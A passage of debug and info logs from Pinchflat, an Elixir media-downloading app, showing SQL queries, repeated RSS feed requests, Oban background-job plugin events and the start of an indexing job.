m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:48:41.736 [debug] QUERY OK source="source_metadata" db=0.7ms idle=1391.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:48:41.738 [debug] QUERY OK source="media_metadata" db=0.8ms idle=1392.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:48:41.738 [info] Sent 200 in 70ms 17:48:59.021 [info] {"source":"oban","duration":2105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.482 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:29.023 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:59.025 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.484 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:29.027 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:59.030 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.486 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:29.032 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:57.496 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:51:59.034 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.487 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:29.036 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:38.552 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:52:38.552 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:52:38.554 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=701.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:52:38.572 [debug] QUERY OK source="media_items" db=1.6ms idle=224.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:52:38.573 [debug] QUERY OK source="source_metadata" db=0.4ms idle=227.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:52:38.574 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=228.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:52:38.575 [info] Sent 200 in 23ms 17:52:59.038 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.488 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:05.917 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:53:05.917 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:53:05.919 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1573.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:53:05.922 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1575.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:53:05.923 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1577.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:53:05.924 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=1578.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:53:05.926 [info] Sent 200 in 9ms 17:53:29.040 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:59.042 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.489 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:29.044 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:59.046 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.492 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:29.049 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:59.052 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.493 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:29.055 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:59.057 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.495 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:29.059 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:59.062 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.497 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:19.148 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:58:19.148 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:58:19.150 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=804.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:58:19.152 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=805.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:58:19.154 [debug] QUERY OK source="source_metadata" db=1.1ms idle=807.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:58:19.155 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=809.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:58:19.156 [info] Sent 200 in 7ms 17:58:29.065 [info] {"source":"oban","duration":1811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:36.413 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:58:36.413 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:58:36.415 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=592.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:58:36.417 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=70.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:58:36.419 [debug] QUERY OK source="source_metadata" db=0.4ms idle=73.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:58:36.420 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.3ms idle=74.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:58:36.420 [info] Sent 200 in 7ms 17:58:59.067 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.499 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:29.070 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:59.072 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.502 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:00:29.074 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:59.076 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.538 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:29.078 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:59.082 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.540 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:29.086 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:59.088 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.543 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:15.688 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:03:15.688 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:03:15.690 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1342.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:03:15.745 [debug] QUERY OK source="media_items" db=54.8ms queue=0.1ms idle=1344.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:03:15.816 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1469.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:03:15.817 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=1178.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:03:15.908 [info] Sent 200 in 220ms 18:03:29.091 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:46.322 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:03:46.322 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:03:46.324 [debug] QUERY OK source="sources" db=0.8ms idle=1976.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:03:46.373 [debug] QUERY OK source="media_items" db=48.1ms queue=0.6ms idle=1614.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:03:46.374 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1027.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:03:46.384 [debug] QUERY OK source="media_metadata" db=9.7ms queue=0.1ms idle=1028.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:03:46.385 [info] Sent 200 in 62ms 18:03:59.094 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.544 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:29.096 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:59.099 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.545 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:29.102 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:59.104 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.547 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:29.107 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:59.111 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.550 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:29.113 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:59.117 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.552 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:10.597 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:08:10.598 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:08:10.629 [debug] QUERY OK source="sources" db=29.8ms idle=252.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:08:10.631 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=283.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:08:10.633 [debug] QUERY OK source="source_metadata" db=0.3ms idle=286.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:08:10.635 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=287.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:08:10.636 [info] Sent 200 in 38ms 18:08:29.119 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:40.674 [info] {"args":{"id":1},"id":90,"meta":{},"system_time":1768068520673428417,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:08:40.677 [debug] QUERY OK source="sources" db=1.8ms queue=0.2ms idle=1078.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:08:40.694 [debug] QUERY OK source="settings" db=15.8ms queue=0.1ms idle=331.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:40.697 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=348.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:08:40.699 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=58.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:08:40.700 [debug] QUERY OK source="media_profiles" db=0.9ms idle=26.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", 